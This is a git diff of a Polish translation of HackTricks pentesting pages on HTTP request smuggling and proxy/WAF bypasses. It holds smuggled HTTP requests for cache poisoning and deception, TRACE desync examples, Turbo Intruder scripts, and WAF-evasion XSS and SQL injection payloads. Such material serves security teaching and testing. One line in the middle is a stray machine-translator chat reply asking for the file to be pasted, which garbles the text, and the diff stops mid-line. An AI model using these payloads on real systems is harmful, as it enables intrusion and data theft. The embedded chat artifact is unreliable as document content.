Cross-Site Scripting (XSS) przeciwko wszystkim klientom żądającym zaktualizowanego `/static/include.js`. +Ta technika staje się szczególnie niebezpieczna, jeśli odkryta zostanie **Open Redirect vulnerability** lub istnieje **on-site redirect to an open redirect**. Takie luki można wykorzystać do zastąpienia zbuforowanej zawartości `/static/include.js` skryptem kontrolowanym przez atakującego, co w praktyce umożliwia masowy Cross-Site Scripting (XSS) przeciwko wszystkim klientom żądającym zaktualizowanego `/static/include.js`. -Poniżej znajduje się ilustracja wykorzystywania **zatrucia pamięci podręcznej w połączeniu z przekierowaniem na stronie do otwartego przekierowania**. Celem jest zmiana treści pamięci podręcznej `/static/include.js`, aby serwować kod JavaScript kontrolowany przez atakującego: +Poniżej ilustracja wykorzystania **cache poisoning combined with an on-site redirect to open redirect**. Celem jest zmiana zawartości cache `/static/include.js`, aby serwowała kod JavaScript kontrolowany przez atakującego: ``` POST / HTTP/1.1 Host: vulnerable.net @@ -598,20 +598,20 @@ Content-Length: 10 x=1 ``` -Zauważ osadzony żądanie kierujące do `/post/next?postId=3`. To żądanie zostanie przekierowane do `/post?postId=4`, wykorzystując wartość **Host header** do określenia domeny. Zmieniając **Host header**, atakujący może przekierować żądanie do swojej domeny (**on-site redirect to open redirect**). +Zwróć uwagę na osadzony request kierujący na `/post/next?postId=3`. To request zostanie przekierowane do `/post?postId=4`, wykorzystując wartość **Host header** do określenia domeny. Poprzez zmianę **Host header** atakujący może przekierować request do swojej domeny (**on-site redirect to open redirect**). -Po udanym **socket poisoning**, powinno zostać zainicjowane **GET request** dla `/static/include.js`. To żądanie zostanie zanieczyszczone przez wcześniejsze żądanie **on-site redirect to open redirect** i pobierze zawartość skryptu kontrolowanego przez atakującego. +Po pomyślnym **socket poisoning**, należy wysłać **GET request** dla `/static/include.js`. Ten request zostanie skażony przez poprzedni request typu **on-site redirect to open redirect** i pobierze zawartość skryptu kontrolowanego przez atakującego. -Następnie każde żądanie dla `/static/include.js` będzie serwować pamiętaną zawartość skryptu atakującego, skutecznie uruchamiając szeroki atak XSS. +W rezultacie każde kolejne request do `/static/include.js` będzie serwować z cache zawartość skryptu atakującego, skutecznie uruchamiając szeroko zakrojony atak XSS. -### Using HTTP request smuggling to perform web cache deception +### Wykorzystanie HTTP request smuggling do przeprowadzenia web cache deception > **Jaka jest różnica między web cache poisoning a web cache deception?** > -> - W **web cache poisoning**, atakujący powoduje, że aplikacja przechowuje złośliwą zawartość w pamięci podręcznej, a ta zawartość jest serwowana z pamięci podręcznej innym użytkownikom aplikacji. -> - W **web cache deception**, atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej wrażliwą zawartość należącą do innego użytkownika, a następnie atakujący pobiera tę zawartość z pamięci podręcznej. +> - W **web cache poisoning** atakujący powoduje, że aplikacja zapisuje w cache złośliwą zawartość, a ta zawartość jest serwowana z cache innym użytkownikom aplikacji. +> - W **web cache deception** atakujący powoduje, że aplikacja zapisuje w cache wrażliwe treści należące do innego użytkownika, a następnie atakujący pobiera te treści z cache. -Atakujący tworzy przemycone żądanie, które pobiera wrażliwą zawartość specyficzną dla użytkownika. Rozważ następujący przykład: +Atakujący przygotowuje smuggled request, który pobiera wrażliwe, specyficzne dla użytkownika treści. Rozważ następujący przykład: ```markdown `POST / HTTP/1.1`\ `Host: vulnerable-website.com`\ @@ -622,17 +622,17 @@ Atakujący tworzy przemycone żądanie, które pobiera wrażliwą zawartość sp `GET /private/messages HTTP/1.1`\ `Foo: X` ``` -Jeśli ten przemycony żądanie zanieczyści wpis w pamięci podręcznej przeznaczony dla statycznej zawartości (np. `/someimage.png`), wrażliwe dane ofiary z `/private/messages` mogą być zbuforowane pod wpisem pamięci podręcznej statycznej zawartości. W konsekwencji, atakujący mógłby potencjalnie odzyskać te zbuforowane wrażliwe dane. +Jeśli ten smuggled request zatruje wpis w pamięci podręcznej przeznaczony dla zawartości statycznej (np. `/someimage.png`), dane wrażliwe ofiary pochodzące z `/private/messages` mogą zostać zapisane w tym wpisie. W efekcie atakujący mógłby potencjalnie odczytać te dane wrażliwe z pamięci podręcznej. -### Wykorzystywanie TRACE za pomocą HTTP Request Smuggling +### Wykorzystywanie TRACE przez HTTP Request Smuggling -[**W tym poście**](https://portswigger.net/research/trace-desync-attack) zasugerowano, że jeśli serwer ma włączoną metodę TRACE, może być możliwe jej wykorzystanie za pomocą HTTP Request Smuggling. Dzieje się tak, ponieważ ta metoda odzwierciedli każdy nagłówek wysłany do serwera jako część treści odpowiedzi. Na przykład: +[**In this post**](https://portswigger.net/research/trace-desync-attack) sugeruje, że jeśli serwer ma włączoną metodę TRACE, możliwe jest jej wykorzystanie za pomocą HTTP Request Smuggling. Dzieje się tak, ponieważ ta metoda odzwierciedla każdy nagłówek wysłany do serwera jako część ciała odpowiedzi. Na przykład: ``` TRACE / HTTP/1.1 Host: example.com XSS: ``` -I'm ready to assist you with the translation. Please provide the text you would like me to translate. +Proszę wklej zawartość pliku src/pentesting-web/http-request-smuggling/README.md — przetłumaczę ją na polski zgodnie z podanymi zasadami (zachowując markdown, linki, ścieżki, tagi i nie tłumacząc kodu). ``` HTTP/1.1 200 OK Content-Type: message/http @@ -643,15 +643,15 @@ Host: vulnerable.com XSS: X-Forwarded-For: xxx.xxx.xxx.xxx ``` -Przykład, jak wykorzystać to zachowanie, polega na **przemyceniu najpierw żądania HEAD**. To żądanie zostanie odpowiedziane tylko **nagłówkami** żądania GET (**`Content-Type`** wśród nich). A następnie przemycić **natychmiast po HEAD żądanie TRACE**, które będzie **odzwierciedlać wysłane dane**.\ -Ponieważ odpowiedź HEAD będzie zawierać nagłówek `Content-Length`, **odpowiedź żądania TRACE będzie traktowana jako ciało odpowiedzi HEAD, co zatem odzwierciedli dowolne dane** w odpowiedzi.\ -Ta odpowiedź zostanie wysłana do następnego żądania przez połączenie, więc może to być **użyte w pamięci podręcznej pliku JS, na przykład do wstrzyknięcia dowolnego kodu JS**. +Przykładem nadużycia tego zachowania byłoby **najpierw smuggle żądanie HEAD**. Na to żądanie serwer odpowie tylko **nagłówkami** odpowiedzi GET (**`Content-Type`** wśród nich). I smuggle **bezpośrednio po HEAD żądanie TRACE**, które będzie **odzwierciedlać wysłane dane**.\ +Ponieważ odpowiedź na HEAD będzie zawierać nagłówek `Content-Length`, **odpowiedź na żądanie TRACE zostanie potraktowana jako ciało odpowiedzi HEAD, w rezultacie odzwierciedlając dowolne dane** w odpowiedzi.\ +Ta odpowiedź zostanie wysłana do następnego żądania na połączeniu, więc może to być **użyte np. w pliku JS w pamięci podręcznej do wstrzyknięcia dowolnego kodu JS**. -### Wykorzystywanie TRACE poprzez rozdzielanie odpowiedzi HTTP +### Abusing TRACE via HTTP Response Splitting -Kontynuując [**ten post**](https://portswigger.net/research/trace-desync-attack), sugeruje się inny sposób wykorzystania metody TRACE. Jak wspomniano, przemycając żądanie HEAD i żądanie TRACE, możliwe jest **kontrolowanie niektórych odzwierciedlonych danych** w odpowiedzi na żądanie HEAD. Długość ciała żądania HEAD jest zasadniczo wskazywana w nagłówku Content-Length i jest tworzona przez odpowiedź na żądanie TRACE. +Zalecane jest zapoznanie się z [**this post**](https://portswigger.net/research/trace-desync-attack) — opisuje on inny sposób nadużycia metody TRACE. Jak wspomniano, smuggling żądania HEAD i TRACE pozwala **kontrolować część odzwierciedlanych danych** w odpowiedzi na HEAD. Długość ciała odpowiedzi na HEAD jest wskazywana w nagłówku Content-Length i jest tworzona przez odpowiedź na żądanie TRACE. -Dlatego nowy pomysł polega na tym, że, znając ten Content-Length i dane podane w odpowiedzi TRACE, możliwe jest sprawienie, aby odpowiedź TRACE zawierała ważną odpowiedź HTTP po ostatnim bajcie Content-Length, co pozwala atakującemu całkowicie kontrolować żądanie do następnej odpowiedzi (co mogłoby być użyte do przeprowadzenia zatrucia pamięci podręcznej). +Dlatego nowy pomysł polega na tym, że znając tę wartość Content-Length oraz dane zawarte w odpowiedzi TRACE, można sprawić, aby odpowiedź TRACE zawierała prawidłową odpowiedź HTTP po ostatnim bajcie określonym przez Content-Length, co pozwala atakującemu całkowicie kontrolować żądanie do następnej odpowiedzi (co mogłoby być wykorzystane do cache poisoning). Przykład: ``` @@ -672,7 +672,7 @@ Content-Length: 44\r\n \r\n ``` -Wygeneruje te odpowiedzi (zauważ, jak odpowiedź HEAD ma Content-Length, co sprawia, że odpowiedź TRACE jest częścią ciała HEAD, a po zakończeniu Content-Length HEAD, ważna odpowiedź HTTP jest przemycana): +Wygeneruje te odpowiedzi (zwróć uwagę, że odpowiedź HEAD ma Content-Length, co powoduje, że odpowiedź TRACE staje się częścią ciała HEAD, a po zakończeniu Content-Length w HEAD prawidłowa HTTP response jest smuggled): ``` HTTP/1.1 200 OK Content-Type: text/html @@ -693,10 +693,9 @@ Content-Length: 50 ``` -### Uzbrajanie HTTP Request Smuggling za pomocą desynchronizacji odpowiedzi HTTP - -Czy znalazłeś jakąś podatność na HTTP Request Smuggling i nie wiesz, jak ją wykorzystać? Wypróbuj te inne metody eksploatacji: +### Wykorzystanie HTTP Request Smuggling z HTTP Response Desynchronisation +Znalazłeś lukę HTTP Request Smuggling i nie wiesz, jak ją wykorzystać? Wypróbuj te inne metody eksploatacji: {{#ref}} ../http-response-smuggling-desync.md @@ -704,25 +703,25 @@ Czy znalazłeś jakąś podatność na HTTP Request Smuggling i nie wiesz, jak j ### Inne techniki HTTP Request Smuggling -- HTTP Request Smuggling w przeglądarkach (strona klienta) +- Browser HTTP Request Smuggling (Client Side) {{#ref}} browser-http-request-smuggling.md {{#endref}} -- Request Smuggling w downgrade'ach HTTP/2 +- Request Smuggling in HTTP/2 Downgrades {{#ref}} request-smuggling-in-http-2-downgrades.md {{#endref}} -## Skrypty Turbo intruder +## Turbo intruder scripts ### CL.TE -Z [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor) +Źródło: [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor) ```python def queueRequests(target, wordlists): @@ -763,7 +762,7 @@ table.add(req) ``` ### TE.CL -From: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover) +Źródło: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover) ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, @@ -807,16 +806,16 @@ table.add(req) ``` ## Narzędzia -- HTTP Hacker (Burp BApp Store) – wizualizuj konkatenację/ramkowanie i niskopoziomowe zachowanie HTTP +- HTTP Hacker (Burp BApp Store) – wizualizuje konkatenację/ramkowanie i niskopoziomowe zachowanie HTTP - https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?" - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling) - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler) - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py) - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler) - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz) -- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): To narzędzie to gramatyczny HTTP Fuzzer przydatny do znajdowania dziwnych rozbieżności w smugglingu żądań. +- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): To narzędzie oparte na gramatyce — HTTP Fuzzer — przydatne do znajdowania dziwnych rozbieżności w request smuggling. -## Odniesienia +## Referencje - [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling) - [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding) @@ -827,10 +826,10 @@ table.add(req) - [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/) - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack) - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) -- Uważaj na fałszywe fałszywe pozytywy: jak odróżnić HTTP pipelining od smugglingu żądań – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling) +- Uwaga na fałszywe false‑positive: jak odróżnić HTTP pipelining od request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling) - [https://http1mustdie.com/](https://http1mustdie.com/) -- Ataki Desync zasilane przez przeglądarkę – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks) -- PortSwigger Academy – desync po stronie klienta – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync) +- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks) +- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/proxy-waf-protections-bypass.md b/src/pentesting-web/proxy-waf-protections-bypass.md index d1267bbee..fc27fbb52 100644 --- a/src/pentesting-web/proxy-waf-protections-bypass.md +++ b/src/pentesting-web/proxy-waf-protections-bypass.md @@ -3,9 +3,9 @@ {{#include ../banners/hacktricks-training.md}} -## Ominięcie reguł ACL Nginx za pomocą manipulacji ścieżką +## Bypass Nginx ACL Rules with Pathname Manipulation -Techniki [z tych badań](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies). +Techniki [z tego badania](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies). Przykład reguły Nginx: ```plaintext @@ -17,31 +17,31 @@ location = /admin/ { deny all; } ``` -Aby zapobiec obejściom, Nginx wykonuje normalizację ścieżek przed ich sprawdzeniem. Jednak jeśli serwer zaplecza wykonuje inną normalizację (usuwając znaki, których Nginx nie usuwa), może być możliwe obejście tej obrony. +Aby zapobiec obejściom, Nginx dokonuje normalizacji ścieżek przed ich sprawdzeniem. Jednak jeśli serwer backendowy wykonuje inną normalizację (usuwając znaki, których nginx nie usuwa), może być możliwe obejście tej ochrony. ### **NodeJS - Express** -| Wersja Nginx | **Znaki do obejścia Node.js** | -| ------------- | ------------------------------ | -| 1.22.0 | `\xA0` | -| 1.21.6 | `\xA0` | -| 1.20.2 | `\xA0`, `\x09`, `\x0C` | -| 1.18.0 | `\xA0`, `\x09`, `\x0C` | -| 1.16.1 | `\xA0`, `\x09`, `\x0C` | +| Nginx Version | **Node.js Bypass Characters** | +| ------------- | ----------------------------- | +| 1.22.0 | `\xA0` | +| 1.21.6 | `\xA0` | +| 1.20.2 | `\xA0`, `\x09`, `\x0C` | +| 1.18.0 | `\xA0`, `\x09`, `\x0C` | +| 1.16.1 | `\xA0`, `\x09`, `\x0C` | ### **Flask** -| Wersja Nginx | **Znaki do obejścia Flask** | -| ------------- | ------------------------------------------------------------ | -| 1.22.0 | `\x85`, `\xA0` | -| 1.21.6 | `\x85`, `\xA0` | +| Nginx Version | **Flask Bypass Characters** | +| ------------- | -------------------------------------------------------------- | +| 1.22.0 | `\x85`, `\xA0` | +| 1.21.6 | `\x85`, `\xA0` | | 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` | | 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` | | 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` | ### **Spring Boot** -| Wersja Nginx | **Znaki do obejścia Spring Boot** | +| Nginx Version | **Spring Boot Bypass Characters** | | ------------- | --------------------------------- | | 1.22.0 | `;` | | 1.21.6 | `;` | @@ -62,32 +62,32 @@ include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php8.1-fpm.sock; } ``` -Nginx jest skonfigurowany, aby blokować dostęp do `/admin.php`, ale można to obejść, uzyskując dostęp do `/admin.php/index.php`. +Nginx jest skonfigurowany tak, aby blokować dostęp do `/admin.php`, ale można to obejść, uzyskując dostęp do `/admin.php/index.php`. -### Jak zapobiegać +### Jak zapobiec ```plaintext location ~* ^/admin { deny all; } ``` -## Ominięcie reguł Mod Security +## Bypass Mod Security Rules -### Mylenie ścieżek +### Path Confusion -[**W tym poście**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) wyjaśniono, że ModSecurity v3 (do 3.0.12) **nieprawidłowo zaimplementował zmienną `REQUEST_FILENAME`**, która miała zawierać dostęp ścieżkę (do początku parametrów). Dzieje się tak, ponieważ przeprowadzał dekodowanie URL, aby uzyskać ścieżkę.\ -Dlatego żądanie takie jak `http://example.com/foo%3f';alert(1);foo=` w mod security będzie zakładać, że ścieżka to tylko `/foo`, ponieważ `%3f` jest przekształcane w `?`, kończąc ścieżkę URL, ale w rzeczywistości ścieżka, którą otrzyma serwer, będzie `/foo%3f';alert(1);foo=`. +[**In this post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) wyjaśniono, że ModSecurity v3 (do wersji 3.0.12) **błędnie zaimplementował zmienną `REQUEST_FILENAME`**, która miała zawierać ścieżkę dostępu (do początku parametrów). Dzieje się tak, ponieważ wykonywał URL-dekodowanie, aby uzyskać ścieżkę.\ +W związku z tym żądanie takie jak `http://example.com/foo%3f';alert(1);foo=` w mod security zostanie zinterpretowane, że ścieżka to tylko `/foo`, ponieważ `%3f` zostaje przekształcone w `?`, kończąc część ścieżki URL, ale faktyczna ścieżka, którą otrzyma serwer, to `/foo%3f';alert(1);foo=`. -Zmienna `REQUEST_BASENAME` i `PATH_INFO` również były dotknięte tym błędem. +Zmienne `REQUEST_BASENAME` i `PATH_INFO` również były dotknięte tym bugiem. -Coś podobnego miało miejsce w wersji 2 Mod Security, która pozwalała na ominięcie ochrony, która uniemożliwiała użytkownikom dostęp do plików z określonymi rozszerzeniami związanymi z plikami kopii zapasowej (takimi jak `.bak`), po prostu wysyłając kropkę zakodowaną w URL jako `%2e`, na przykład: `https://example.com/backup%2ebak`. +Coś podobnego wystąpiło w wersji 2 ModSecurity, co pozwalało obejść ochronę uniemożliwiającą dostęp do plików o określonych rozszerzeniach związanych z backupami (np. `.bak`) poprzez przesłanie kropki zakodowanej w URL jako `%2e`, np.: `https://example.com/backup%2ebak`. -## Ominięcie AWS WAF ACL +## Bypass AWS WAF ACL -### Nieprawidłowy nagłówek +### Malformed Header -[To badanie](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) wspomina, że możliwe było ominięcie reguł AWS WAF stosowanych do nagłówków HTTP, wysyłając "nieprawidłowy" nagłówek, który nie był prawidłowo analizowany przez AWS, ale był przez serwer zaplecza. +[This research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) wspomina, że można było obejść reguły AWS WAF stosowane do nagłówków HTTP przez wysłanie "nieprawidłowego" nagłówka, który nie był poprawnie parsowany przez AWS, ale był parsowany przez serwer backend. -Na przykład, wysyłając następujące żądanie z wstrzyknięciem SQL w nagłówku X-Query: +For example, sending the following request with a SQL injection in the header X-Query: ```http GET / HTTP/1.1\r\n Host: target.com\r\n @@ -96,49 +96,50 @@ X-Query: Value\r\n Connection: close\r\n \r\n ``` -Możliwe było ominięcie AWS WAF, ponieważ nie rozumiał, że następna linia jest częścią wartości nagłówka, podczas gdy serwer NODEJS to rozumiał (to zostało naprawione). +Było możliwe obejście AWS WAF, ponieważ nie rozpoznawał, że kolejna linia jest częścią wartości nagłówka, podczas gdy serwer NODEJS to rozpoznawał (to zostało naprawione). -## Ogólne omijanie WAF +## Ogólne obejścia WAF ### Limity rozmiaru żądania -Zwykle WAF-y mają określony limit długości żądań do sprawdzenia, a jeśli żądanie POST/PUT/PATCH go przekracza, WAF nie sprawdzi żądania. +WAF-y często mają określony limit długości żądań do sprawdzenia i jeśli żądanie POST/PUT/PATCH przekracza ten limit, WAF nie sprawdzi tego żądania. -- Dla AWS WAF, możesz [**sprawdzić dokumentację**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:** +- Dla AWS WAF, możesz [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:** -
Maksymalny rozmiar ciała żądania sieciowego, które może być sprawdzane dla ochrony Application Load Balancer i AWS AppSync8 KB
Maksymalny rozmiar ciała żądania sieciowego, które może być sprawdzane dla ochrony CloudFront, API Gateway, Amazon Cognito, App Runner i Verified Access**64 KB
+
Maksymalny rozmiar ciała żądania webowego, który może być analizowany dla ochrony Application Load Balancer i AWS AppSync protections8 KB
Maksymalny rozmiar ciała żądania webowego, który może być analizowany dla ochrony CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access protections**64 KB
-- Z [**dokumentacji Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:** +- Z [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:** -Starsze zapory aplikacji internetowych z Core Rule Set 3.1 (lub niższym) pozwalają na wiadomości większe niż **128 KB** poprzez wyłączenie inspekcji ciała żądania, ale te wiadomości nie będą sprawdzane pod kątem podatności. W nowszych wersjach (Core Rule Set 3.2 lub nowszych) to samo można osiągnąć, wyłączając maksymalny limit ciała żądania. Gdy żądanie przekracza limit rozmiaru: +Starsze Web Application Firewalls z Core Rule Set 3.1 (lub niższym) pozwalają na wiadomości większe niż **128 KB** przez wyłączenie inspekcji ciała żądania, ale takie wiadomości nie będą sprawdzane pod kątem podatności. W nowszych wersjach (Core Rule Set 3.2 lub nowszym) to samo można zrobić przez wyłączenie maksymalnego limitu ciała żądania. Gdy żądanie przekracza limit rozmiaru: -Jeśli **tryb zapobiegania**: Rejestruje i blokuje żądanie.\ -Jeśli **tryb wykrywania**: Sprawdza do limitu, ignoruje resztę i rejestruje, jeśli `Content-Length` przekracza limit. +Jeśli **prevention mode**: Loguje i blokuje żądanie.\ +Jeśli **detection mode**: Analizuje do limitu, ignoruje resztę i loguje, jeśli `Content-Length` przekracza limit. - Z [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:** -Domyślnie WAF sprawdza tylko pierwsze 8KB żądania. Może zwiększyć limit do 128KB, dodając zaawansowane metadane. +Domyślnie WAF analizuje tylko pierwsze 8KB żądania. Można zwiększyć limit do 128KB przez dodanie Advanced Metadata. - Z [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:** Do 128KB. -### Luki w inspekcji zasobów statycznych (.js GETs) +### Static assets inspection gaps (.js GETs) -Niektóre stosy CDN/WAF stosują słabą lub żadną inspekcję treści dla żądań GET dotyczących zasobów statycznych (na przykład ścieżki kończące się na `.js`), jednocześnie stosując globalne zasady, takie jak ograniczenie liczby żądań i reputacja IP. W połączeniu z automatycznym buforowaniem statycznych rozszerzeń, można to wykorzystać do dostarczania lub zasiewania złośliwych wariantów, które wpływają na kolejne odpowiedzi HTML. +Niektóre stosy CDN/WAF stosują słabą lub żadną inspekcję treści dla żądań GET zasobów statycznych (np. ścieżki kończące się na `.js`), jednocześnie stosując reguły globalne takie jak rate limiting i IP reputation. W połączeniu z auto-cachingiem rozszerzeń statycznych, można to wykorzystać do dostarczenia lub zaszczepienia złośliwych wariantów, które wpływają na późniejsze odpowiedzi HTML. -Praktyczne przypadki użycia: +Praktyczne zastosowania: -- Wysyłaj ładunki w nieufnych nagłówkach (np. `User-Agent`) w żądaniu GET do ścieżki `.js`, aby uniknąć inspekcji treści, a następnie natychmiast żądaj głównego HTML, aby wpłynąć na buforowany wariant. -- Użyj świeżego/czystego IP; gdy IP zostanie oznaczone, zmiany routingu mogą sprawić, że technika stanie się niewiarygodna. -- W Burp Repeater użyj "Wyślij grupę równolegle" (styl pojedynczego pakietu), aby wyścigować dwa żądania (`.js`, a następnie HTML) przez tę samą ścieżkę front-end. +- Wysyłaj payloads w niesprawdzonych nagłówkach (np. `User-Agent`) w żądaniu GET do ścieżki `.js`, aby uniknąć inspekcji treści, a następnie natychmiast zażądaj głównego HTML, aby wpłynąć na cachowany wariant. +- Użyj świeżego/czystego IP; gdy IP zostanie oznaczone, zmiany routingu mogą uczynić technikę zawodną. +- W Burp Repeater użyj "Send group in parallel" (single-packet style), aby wyścigać dwa żądania (`.js` potem HTML) przez tę samą ścieżkę front-end. -Dobrze to współgra z zatruciem pamięci podręcznej odzwierciedlenia nagłówków. Zobacz: +To dobrze współgra z header-reflection cache poisoning. Zobacz: -- {{#ref}} +{{#ref}} cache-deception/README.md {{#endref}} -- [Jak znalazłem przejęcie konta 0-Click w publicznym BBP i wykorzystałem to do uzyskania dostępu do funkcji na poziomie administratora](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) + +- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) ### Obfuskacja ```bash @@ -148,9 +149,9 @@ cache-deception/README.md # Path blacklist bypass - Tomcat /path1/path2/ == ;/path1;foo/path2;bar/; ``` -### Zgodność z Unicode +### Zgodność Unicode -W zależności od implementacji normalizacji Unicode (więcej informacji [tutaj](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), znaki, które mają zgodność z Unicode, mogą być w stanie obejść WAF i wykonać zamierzony ładunek. Zgodne znaki można znaleźć [tutaj](https://www.compart.com/en/unicode). +W zależności od implementacji normalizacji Unicode (więcej informacji [here](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), znaki kompatybilne w Unicode mogą być w stanie obejść WAF i zostać wykonane jako zamierzony payload. Zgodne znaki można znaleźć [here](https://www.compart.com/en/unicode). #### Przykład ```bash @@ -158,26 +159,26 @@ W zależności od implementacji normalizacji Unicode (więcej informacji [tutaj] # to the XSS payload on the right ＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥ --> ＜img src=p onerror='prompt(1)'> ``` -### Obejście kontekstowych WAF-ów za pomocą kodowania +### Ominięcie kontekstowych WAF-ów za pomocą kodowań -Jak wspomniano w [**tym wpisie na blogu**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), aby obejść WAF-y, które są w stanie utrzymać kontekst danych wejściowych użytkownika, możemy nadużyć technik WAF, aby faktycznie znormalizować dane wejściowe użytkowników. +Jak wspomniano w [**this blog post**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), aby ominąć WAFy, które potrafią utrzymywać kontekst wejścia użytkownika, można nadużyć mechanizmów WAF, by tak naprawdę znormalizować dane wejściowe użytkownika. -Na przykład w poście wspomniano, że **Akamai dekodował dane wejściowe użytkownika 10 razy**. Dlatego coś takiego jak `/onfocus`, co **może być uznane za poprawne, ponieważ tag jest zamknięty**. Jednak tak długo, jak aplikacja nie dekoduje danych wejściowych 10 razy, ofiara zobaczy coś takiego jak `/onfocus`, co **może sprawiać wrażenie, że tag jest zamknięty**. Jednak dopóki aplikacja nie dokonuje dekodowania URL 10 razy, ofiara zobaczy coś takiego jak `` - Imperva:`imperva.com/?x=` - AWS/Cloudfront:`docs.aws.amazon.com/?x=` - Cloudflare:`cloudflare.com/?x=` -Wspomniano również, że w zależności od **tego, jak niektóre WAF-y rozumieją kontekst** danych wejściowych użytkownika, może być możliwe ich nadużycie. Proponowany przykład w blogu to to, że Akamai pozwalał na umieszczanie czegokolwiek między `/*` a `*/` (potencjalnie dlatego, że jest to powszechnie używane jako komentarze). Dlatego SQLinjection, takie jak `/*'or sleep(5)-- -*/`, nie zostanie wykryte i będzie ważne, ponieważ `/*` jest ciągiem początkowym iniekcji, a `*/` jest skomentowane. +Wspomniano również, że w zależności od tego, **jak niektóre WAFy rozumieją kontekst** wejścia użytkownika, możliwe jest jego nadużycie. Przykład podany w blogu mówi, że Akamai pozwalał(a) na umieszczanie dowolnych rzeczy między `/*` i `*/` (prawdopodobnie dlatego, że jest to powszechnie używane jako komentarz). W związku z tym SQLinjection taki jak `/*'or sleep(5)-- -*/` nie zostanie wykryty i będzie ważny, ponieważ `/*` jest początkiem łańcucha injekcji, a `*/` jest traktowane jako komentarz. -Tego rodzaju problemy z kontekstem mogą być również używane do **nadużywania innych luk niż te, które są oczekiwane** do wykorzystania przez WAF (np. może to być również użyte do wykorzystania XSS). +Tego typu problemy kontekstowe można także wykorzystać do **nadużywania innych podatności niż ta, którą WAF miał chronić** (np. można to użyć do exploitacji XSS). ### H2C Smuggling @@ -186,17 +187,17 @@ Tego rodzaju problemy z kontekstem mogą być również używane do **nadużywan h2c-smuggling.md {{#endref}} -### Rotacja IP +### IP Rotation -- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generuj URL bramy API do użycia z ffuf +- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generuje 